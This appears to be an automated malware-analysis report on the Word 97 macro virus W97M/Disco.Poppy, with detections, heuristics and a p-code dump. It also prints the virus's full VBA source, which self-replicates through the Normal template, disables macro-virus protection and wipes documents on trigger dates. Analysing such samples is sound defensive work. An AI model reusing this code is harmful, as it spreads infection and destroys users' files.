MALICIOUS
248
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
This sample is a legacy WordBasic macro virus, detected by ClamAV as Win.Trojan.Pivis-2 and Doc.Trojan.Poppy-3. It utilizes the AutoOpen macro and concatenates strings to construct commands like 'toolsmacro', 'fileprint', and 'FileTemplates', indicating an attempt to infect other documents and spread its malicious macro.
Heuristics 5
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Application.OrganizerCopy Source:= _ -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "autoOpen" -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 37390 bytes |
SHA-256: f8be8a126a56fa6f406ff0c301bb417542247747aead39cb8c234d047a19edf2 |
|||
|
Detection
ClamAV:
Doc.Trojan.Poppy-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "autoOpen"
Public Sub AutoOpen()
'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"
Dim Mac$
Dim Soma$
Dim Heroin
Dim Valium$
Dim Klonopin$
Dim A$
Dim T$
Dim p$
Dim ft$
Dim fx$
Dim ok$
Dim ICD$
On Error GoTo -1: On Error GoTo hell
T$ = "t" + "oo" + "l" + "s" + "m" + "a" + "c" + "r" + "o"
p$ = "f" + "i" + "l" + "e" + "p" + "ri" + "nt"
ft$ = "Fi" + "le" + "Te" + "mp" + "la" + "t" + "es"
fx$ = "F" + "i" + "l" + "e" + "E" + "x" + "i" + "t"
A$ = "a" + "u" + "to" + "O" + "p" + "en"
Valium$ = "N" + "O" + "R" + "M" + "A" + "L" + "." + "D" + "OT"
Klonopin$ = "H" + "e" + "l" + "p" + "A" + "b" + "ou" + "t"
ICD$ = "Disco"
ok$ = 0
Soma$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If Soma$ = Valium$ Then
Heroin = GetAttr(ActiveDocument.FullName)
If Heroin >= vbArchive Then ok$ = 1
If Heroin >= vbSystem Then ok$ = 1
If Heroin >= vbHidden Then ok$ = 1
If ok$ = 1 Then
For X = 1 To 7
If X = 1 Then Mac$ = A$
If X = 2 Then Mac$ = T$
If X = 3 Then Mac$ = p$
If X = 4 Then Mac$ = ft$
If X = 5 Then Mac$ = fx$
If X = 6 Then Mac$ = Klonopin$
If X = 7 Then Mac$ = ICD$
Application.OrganizerCopy Source:= _
NormalTemplate.FullName, Destination:= _
ActiveDocument.FullName, Name:=Mac$, Object:= _
wdOrganizerObjectProjectItems
Next X
WordBasic.FileSaveAs Format:=1
WordBasic.SetDocumentDirty 0
Call dhIconDisco("C:\autorun.inf")
End If
Else
For X = 1 To 7
If X = 1 Then Mac$ = A$
If X = 2 Then Mac$ = T$
If X = 3 Then Mac$ = p$
If X = 4 Then Mac$ = ft$
If X = 5 Then Mac$ = fx$
If X = 6 Then Mac$ = Klonopin$
If X = 7 Then Mac$ = ICD$
Application.OrganizerCopy Source:= _
ActiveDocument.FullName, Destination:= _
NormalTemplate.FullName, Name:=Mac$, Object:= _
wdOrganizerObjectProjectItems
Next X
End If
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
With ActiveDocument
.ReadOnlyRecommended = False
.Password = ""
.WritePassword = ""
End With
' Application.OrganizerDelete Source:= _
' NormalTemplate.FullName, Name:="Cap", Object:= _
' wdOrganizerObjectProjectItems
GoTo fuckoff
hell:
fuckoff:
On Error GoTo -1: On Error GoTo 0
End Sub
Sub ViewVBCode()
'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"
MsgBox " W97M/Disco.Poppy by VicodinES ", vbOKOnly, " © The Narkotic Network "
MsgBox "Everything is fine - nothing to see here - let's move it along kids!", vbExclamation, " * VicodinES * Klonopin.Jones * Fastin.Blee * "
MsgBox "Social camouflage for this modern age!", vbQuestion, "Slogan?"
End Sub
Attribute VB_Name = "toolsmacro"
Public Sub ToolsMacro()
Attribute ToolsMacro.VB_Description = "Runs, creates, deletes, or revises a macro"
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = "TemplateProject.toolsmacro.MAIN"
'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"
Dim D$
Dim Ti$
Dim Tp$
Dim Z
Ti$ = Time
Tp$ = "12:00:01 PM"
D$ = Date
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
Z = 0
If D$ = "4/12/98" Then Z = 1
If Ti$ = Tp$ Then Z = 1
If D$ = "4/12/99" Then Z = 1
If D$ = "1/11/98" Then Z = 1
If D$ = "1/11/99" Then Z = 1
If D$ = "6/14/99" Then Z = 1
If D$ = "1/22/98" Then Z = 1
If D$ = "8/21/98" Then Z = 1
If D$ = "9/19/99" Then Z = 1
If D$ = "8/18/99" Then Z = 1
If D$ = "7/9/99" Then Z = 1
If D$ = "12/17/99" Then Z = 1
If D$ = "8/18/98" Then Z = 1
If D$ = "7/9/98" Then Z = 1
If D$ = "12/17/98" Then Z = 1
If Z = 1 Then
With Options
.CheckSpellingAsYouType = False
.CheckGrammarAsYouType = False
.SuggestSpellingCorrections = False
.SuggestFromMainDictionaryOnly = False
.CheckGrammarWithSpelling = True
.ShowReadabilityStatistics = False
.IgnoreUppercase = True
.IgnoreMixedDigits = True
.IgnoreInternetAndFileAddresses = True
End With
Selection.WholeStory
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.TypeParagraph
Selection.TypeParagraph
Selection.TypeText Text:= _
"Macro.Poppy.I aka Disco.Poppy"
Selection.TypeParagraph
Selection.TypeText Text:= _
"By VicodinES"
Selection.TypeParagraph
Selection.TypeText Text:= _
"Macro Virus for Word 97"
Selection.TypeParagraph
Selection.TypeParagraph
Selection.TypeParagraph
Selection.TypeParagraph
Selection.TypeText Text:= _
"T h e N a r k o t i c N e t w o r k !"
Selection.TypeParagraph
Else
GoTo fuck1
End If
fuck1:
End Sub
Attribute VB_Name = "fileprint"
Sub fileprint()
'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"
Dim D$
Dim Ti$
Dim Tp$
Dim Z
Ti$ = Time
Tp$ = "12:00:01 PM"
D$ = Date
Z = 0
If D$ = "4/12/98" Then Z = 1
If Ti$ = Tp$ Then Z = 1
If D$ = "4/12/99" Then Z = 1
If D$ = "1/11/98" Then Z = 1
If D$ = "1/11/99" Then Z = 1
If D$ = "6/14/99" Then Z = 1
If D$ = "1/22/98" Then Z = 1
If D$ = "8/21/98" Then Z = 1
If D$ = "9/19/99" Then Z = 1
If D$ = "8/18/99" Then Z = 1
If D$ = "7/9/99" Then Z = 1
If D$ = "12/17/99" Then Z = 1
If D$ = "8/18/98" Then Z = 1
If D$ = "7/9/98" Then Z = 1
If D$ = "12/17/98" Then Z = 1
If Z = 1 Then
Selection.EndKey Unit:=wdLine
Selection.MoveDown Unit:=wdScreen, Count:=1
Selection.EndKey Unit:=wdLine
Selection.TypeParagraph
Selection.TypeParagraph
Selection.TypeParagraph
Selection.TypeText Text:= _
"When will you wake up and realize that we live in a "
Selection.TypeText Text:= _
"primitive society? Don't kid yourself - there is NO GOD!!"
ActiveDocument.PrintOut
Else
ActiveDocument.PrintOut
End If
End Sub
Attribute VB_Name = "FileTemplates"
Sub FileTemplates()
'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"
Dim D$
Dim Ti$
Dim Tp$
Dim Z
Ti$ = Time
Tp$ = "12:00:01 PM"
D$ = Date
Z = 0
If D$ = "4/12/98" Then Z = 1
If Ti$ = Tp$ Then Z = 1
If D$ = "4/12/99" Then Z = 1
If D$ = "1/11/98" Then Z = 1
If D$ = "1/11/99" Then Z = 1
If D$ = "6/14/99" Then Z = 1
If D$ = "1/22/98" Then Z = 1
If D$ = "8/21/98" Then Z = 1
If D$ = "9/19/99" Then Z = 1
If D$ = "8/18/99" Then Z = 1
If D$ = "7/9/99" Then Z = 1
If D$ = "12/17/99" Then Z = 1
If D$ = "8/18/98" Then Z = 1
If D$ = "7/9/98" Then Z = 1
If D$ = "12/17/98" Then Z = 1
If Z = 1 Then
With Options
.CheckSpellingAsYouType = False
.CheckGrammarAsYouType = False
.SuggestSpellingCorrections = False
.SuggestFromMainDictionaryOnly = False
.CheckGrammarWithSpelling = True
.ShowReadabilityStatistics = False
.IgnoreUppercase = True
.IgnoreMixedDigits = True
.IgnoreInternetAndFileAddresses = True
End With
Selection.WholeStory
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.TypeParagraph
Selection.TypeParagraph
Selection.TypeText Text:= _
"Macro.Poppy.I aka Disco.Poppy"
Selection.TypeParagraph
Selection.TypeText Text:= _
"By VicodinES"
Selection.TypeParagraph
Selection.TypeText Text:= _
"Macro Virus for Word 97"
Selection.TypeParagraph
Selection.TypeParagraph
Selection.TypeParagraph
Selection.TypeParagraph
Selection.TypeText Text:= _
"T h e N a r k o t i c N e t w o r k !"
Selection.TypeParagraph
Else
GoTo fuck1
End If
fuck1:
End Sub
Attribute VB_Name = "FileExit"
Sub FileExit()
Attribute FileExit.VB_Description = "Macro recorded 12/13/97 by Dr. Diet Mountain Dew"
Attribute FileExit.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Macro1"
'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
Application.Quit
End Sub
Attribute VB_Name = "HelpAbout"
Sub HelpAbout()
'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"
MsgBox " W97M/Disco.Poppy by VicodinES ", vbOKOnly, " © The Narkotic Network "
MsgBox "Everything is fine - nothing to see here - let's move it along kids!", vbExclamation, " * VicodinES * Klonopin.Jones * Fastin.Blee * "
MsgBox "Social camouflage for this modern age!", vbQuestion, "Slogan?"
End Sub
Attribute VB_Name = "Disco"
Sub dhIconDisco(strFile As String)
'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"
Dim Part1$
Dim Part2$
Dim Part22$
Dim Part3$
Dim Part33$
Dim rn$
Dim rnn$
Dim Choice
Dim hFile As Long
Randomize
Choice = Int(Rnd * 2)
rnn$ = Int(Rnd * 66) + 2
rn$ = Int(Rnd * 27) + 1
Part1$ = "[autorun]"
Part2$ = "icon = c:\windows\system\pifmgr.dll,"
Part22$ = "icon = c:\windows\SYSTEM\shell32.dll,"
Part3$ = Part2$ + rn$
Part33$ = Part22$ + rnn$
hFile = FreeFile
Open strFile For Output Access Write As hFile
Print #hFile, Part1$
If Choice = 0 Then
Print #hFile, Part3$
Else
Print #hFile, Part33$
End If
Close hFile
End Sub
' Processing file: /tmp/qstore_qds32wsi
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/autoOpen - 7840 bytes
' Line #0:
' Line #1:
' Line #2:
' FuncDefn (Public Sub AutoOpen())
' Line #3:
' Line #4:
' QuoteRem 0x0000 0x0024 "Macro.Poppy.I aka "W97M/Disco.Poppy""
' Line #5:
' QuoteRem 0x0000 0x000C "By VicodinES"
' Line #6:
' QuoteRem 0x0000 0x0017 "Macro Virus for Word 97"
' Line #7:
' QuoteRem 0x0000 0x002B ""this is step one in the big understanding""
' Line #8:
' Line #9:
' Dim
' VarDefn Mac
' Line #10:
' Dim
' VarDefn Soma
' Line #11:
' Dim
' VarDefn Heroin
' Line #12:
' Dim
' VarDefn Valium
' Line #13:
' Dim
' VarDefn Klonopin
' Line #14:
' Dim
' VarDefn A
' Line #15:
' Dim
' VarDefn T
' Line #16:
' Dim
' VarDefn p
' Line #17:
' Dim
' VarDefn ft
' Line #18:
' Dim
' VarDefn fx
' Line #19:
' Dim
' VarDefn ok
' Line #20:
' Dim
' VarDefn ICD
' Line #21:
' Line #22:
' OnError <crash>
' BoS 0x0000
' OnError hell
' Line #23:
' LitStr 0x0001 "t"
' LitStr 0x0002 "oo"
' Add
' LitStr 0x0001 "l"
' Add
' LitStr 0x0001 "s"
' Add
' LitStr 0x0001 "m"
' Add
' LitStr 0x0001 "a"
' Add
' LitStr 0x0001 "c"
' Add
' LitStr 0x0001 "r"
' Add
' LitStr 0x0001 "o"
' Add
' St T$
' Line #24:
' LitStr 0x0001 "f"
' LitStr 0x0001 "i"
' Add
' LitStr 0x0001 "l"
' Add
' LitStr 0x0001 "e"
' Add
' LitStr 0x0001 "p"
' Add
' LitStr 0x0002 "ri"
' Add
' LitStr 0x0002 "nt"
' Add
' St p$
' Line #25:
' LitStr 0x0002 "Fi"
' LitStr 0x0002 "le"
' Add
' LitStr 0x0002 "Te"
' Add
' LitStr 0x0002 "mp"
' Add
' LitStr 0x0002 "la"
' Add
' LitStr 0x0001 "t"
' Add
' LitStr 0x0002 "es"
' Add
' St ft$
' Line #26:
' LitStr 0x0001 "F"
' LitStr 0x0001 "i"
' Add
' LitStr 0x0001 "l"
' Add
' LitStr 0x0001 "e"
' Add
' LitStr 0x0001 "E"
' Add
' LitStr 0x0001 "x"
' Add
' LitStr 0x0001 "i"
' Add
' LitStr 0x0001 "t"
' Add
' St fx$
' Line #27:
' LitStr 0x0001 "a"
' LitStr 0x0001 "u"
' Add
' LitStr 0x0002 "to"
' Add
' LitStr 0x0001 "O"
' Add
' LitStr 0x0001 "p"
' Add
' LitStr 0x0002 "en"
' Add
' St A$
' Line #28:
' LitStr 0x0001 "N"
' LitStr 0x0001 "O"
' Add
' LitStr 0x0001 "R"
' Add
' LitStr 0x0001 "M"
' Add
' LitStr 0x0001 "A"
' Add
' LitStr 0x0001 "L"
' Add
' LitStr 0x0001 "."
' Add
' LitStr 0x0001 "D"
' Add
' LitStr 0x0002 "OT"
' Add
' St Valium$
' Line #29:
' LitStr 0x0001 "H"
' LitStr 0x0001 "e"
' Add
' LitStr 0x0001 "l"
' Add
' LitStr 0x0001 "p"
' Add
' LitStr 0x0001 "A"
' Add
' LitStr 0x0001 "b"
' Add
' LitStr 0x0002 "ou"
' Add
' LitStr 0x0001 "t"
' Add
' St Klonopin$
' Line #30:
' LitStr 0x0005 "Disco"
' St ICD$
' Line #31:
' LitDI2 0x0000
' St ok$
' Line #32:
' Line #33:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemLd [MacroName$] 0x0001
' Ld WordBasic
' ArgsMemLd [MacroFileName$] 0x0001
' LitDI2 0x000A
' Ld WordBasic
' ArgsMemLd [Right$] 0x0002
' ArgsLd UCase 0x0001
' St Soma$
' Line #34:
' Line #35:
' Ld Soma$
' Ld Valium$
' Eq
' IfBlock
' Line #36:
' Line #37:
' Ld ActiveDocument
' MemLd FullName
' ArgsLd GetAttr 0x0001
' St Heroin
' Line #38:
' Line #39:
' Ld Heroin
' Ld vbArchive
' Ge
' If
' BoSImplicit
' LitDI2 0x0001
' St ok$
' EndIf
' Line #40:
' Ld Heroin
' Ld vbSystem
' Ge
' If
' BoSImplicit
' LitDI2 0x0001
' St ok$
' EndIf
' Line #41:
' Ld Heroin
' Ld vbHidden
' Ge
' If
' BoSImplicit
' LitDI2 0x0001
' St ok$
' EndIf
' Line #42:
' Ld ok$
' LitDI2 0x0001
' Eq
' IfBlock
' Line #43:
' Line #44:
' StartForVariable
' Ld X
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0007
' For
' Line #45:
' Ld X
' LitDI2 0x0001
' Eq
' If
' BoSImplicit
' Ld A$
' St Mac$
' EndIf
' Line #46:
' Ld X
' LitDI2 0x0002
' Eq
' If
' BoSImplicit
' Ld T$
' St Mac$
' EndIf
' Line #47:
' Ld X
' LitDI2 0x0003
' Eq
' If
' BoSImplicit
' Ld p$
' St Mac$
' EndIf
' Line #48:
' Ld X
' LitDI2 0x0004
' Eq
' If
' BoSImplicit
' Ld ft$
' St Mac$
' EndIf
' Line #49:
' Ld X
' LitDI2 0x0005
' Eq
' If
' BoSImplicit
' Ld fx$
' St Mac$
' EndIf
' Line #50:
' Ld X
' LitDI2 0x0006
' Eq
' If
' BoSImplicit
' Ld Klonopin$
' St Mac$
' EndIf
' Line #51:
' Ld X
' LitDI2 0x0007
' Eq
' If
' BoSImplicit
' Ld ICD$
' St Mac$
' EndIf
' Line #52:
' Line #53:
' LineCont 0x000C 05 00 08 00 0B 00 08 00 15 00 08 00
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Source
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Destination
' Ld Mac$
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #54:
' Line #55:
' StartForVariable
' Ld X
' EndForVariable
' NextVar
' Line #56:
' Line #57:
' LitDI2 0x0001
' ParamNamed Format$
' Ld WordBasic
' ArgsMemCall FileSaveAs 0x0001
' Line #58:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemCall SetDocumentDirty 0x0001
' Line #59:
' LitStr 0x000E "C:\autorun.inf"
' ArgsCall (Call) dhIconDisco 0x0001
' Line #60:
' Line #61:
' EndIfBlock
' Line #62:
' ElseBlock
' Line #63:
' Line #64:
' StartForVariable
' Ld X
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0007
' For
' Line #65:
' Ld X
' LitDI2 0x0001
' Eq
' If
' BoSImplicit
' Ld A$
' St Mac$
' EndIf
' Line #66:
' Ld X
' LitDI2 0x0002
' Eq
' If
' BoSImplicit
' Ld T$
' St Mac$
' EndIf
' Line #67:
' Ld X
' LitDI2 0x0003
' Eq
' If
' BoSImplicit
' Ld p$
' St Mac$
' EndIf
' Line #68:
' Ld X
' LitDI2 0x0004
' Eq
' If
' BoSImplicit
' Ld ft$
' St Mac$
' EndIf
' Line #69:
' Ld X
' LitDI2 0x0005
' Eq
' If
' BoSImplicit
' Ld fx$
' St Mac$
' EndIf
' Line #70:
' Ld X
' LitDI2 0x0006
' Eq
' If
' BoSImplicit
' Ld Klonopin$
' St Mac$
' EndIf
' Line #71:
' Ld X
' LitDI2 0x0007
' Eq
' If
' BoSImplicit
' Ld ICD$
' St Mac$
' EndIf
' Line #72:
' Line #73:
' LineCont 0x000C 05 00 08 00 0B 00 08 00 15 00 08 00
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' Ld Mac$
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #74:
' Line #75:
' StartForVariable
' Ld X
' EndForVariable
' NextVar
' Line #76:
' Line #77:
' EndIfBlock
' Line #78:
' Line #79:
' StartWithExpr
' Ld Options
' With
' Line #80:
' LitVarSpecial (False)
' MemStWith ConfirmConversions
' Line #81:
' LitVarSpecial (False)
' MemStWith VirusProtection
' Line #82:
' LitVarSpecial (False)
' MemStWith SaveNormalPrompt
' Line #83:
' EndWith
' Line #84:
' Line #85:
' StartWithExpr
' Ld ActiveDocument
' With
' Line #86:
' LitVarSpecial (False)
' MemStWith ReadOnlyRecommended
' Line #87:
' LitStr 0x0000 ""
' MemStWith Password
' Line #88:
' LitStr 0x0000 ""
' MemStWith WritePassword
' Line #89:
' EndWith
' Line #90:
' Line #91:
' LineCont 0x0008 01 00 D4 FF 01 00 9D FF
' QuoteRem 0x0000 0x0089 " Application.OrganizerDelete Source:=' NormalTemplate.FullName, Name:="Cap", Object:=' wdOrganizerObjectProjectItems"
' Line #92:
' Line #93:
' GoTo fuckoff
' Line #94:
' Line #95:
' Label hell
' Line #96:
' Line #97:
' Label fuckoff
' Line #98:
' OnError <crash>
' BoS 0x0000
' OnError (GoTo 0)
' Line #99:
' Line #100:
' Line #101:
' EndSub
' Line #102:
' FuncDefn (Sub ViewVBCode())
' Line #103:
' QuoteRem 0x0000 0x0024 "Macro.Poppy.I aka "W97M/Disco.Poppy""
' Line #104:
' QuoteRem 0x0000 0x000C "By VicodinES"
' Line #105:
' QuoteRem 0x0000 0x0017 "Macro Virus for Word 97"
' Line #106:
' QuoteRem 0x0000 0x002B ""this is step one in the big understanding""
' Line #107:
' Line #108:
' LitStr 0x0021 " W97M/Disco.Poppy by VicodinES "
' Ld vbOKOnly
' LitStr 0x0018 " © The Narkotic Network "
' ArgsCall MsgBox 0x0003
' Line #109:
' LitStr 0x0044 "Everything is fine - nothing to see here - let's move it along kids!"
' Ld vbExclamation
' LitStr 0x002E " * VicodinES * Klonopin.Jones * Fastin.Blee * "
' ArgsCall MsgBox 0x0003
' Line #110:
' LitStr 0x0026 "Social camouflage for this modern age!"
' Ld vbQuestion
' LitStr 0x0007 "Slogan?"
' ArgsCall MsgBox 0x0003
' Line #111:
' EndSub
' Macros/VBA/toolsmacro - 4239 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub ToolsMacro())
' Line #2:
' Line #3:
' QuoteRem 0x0000 0x0024 "Macro.Poppy.I aka "W97M/Disco.Poppy""
' Line #4:
' QuoteRem 0x0000 0x000C "By VicodinES"
' Line #5:
' QuoteRem 0x0000 0x0017 "Macro Virus for Word 97"
' Line #6:
' QuoteRem 0x0000 0x002B ""this is step one in the big understanding""
' Line #7:
' Line #8:
' Dim
' VarDefn D
' Line #9:
' Dim
' VarDefn Ti
' Line #10:
' Dim
' VarDefn Tp
' Line #11:
' Dim
' VarDefn Z
' Line #12:
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.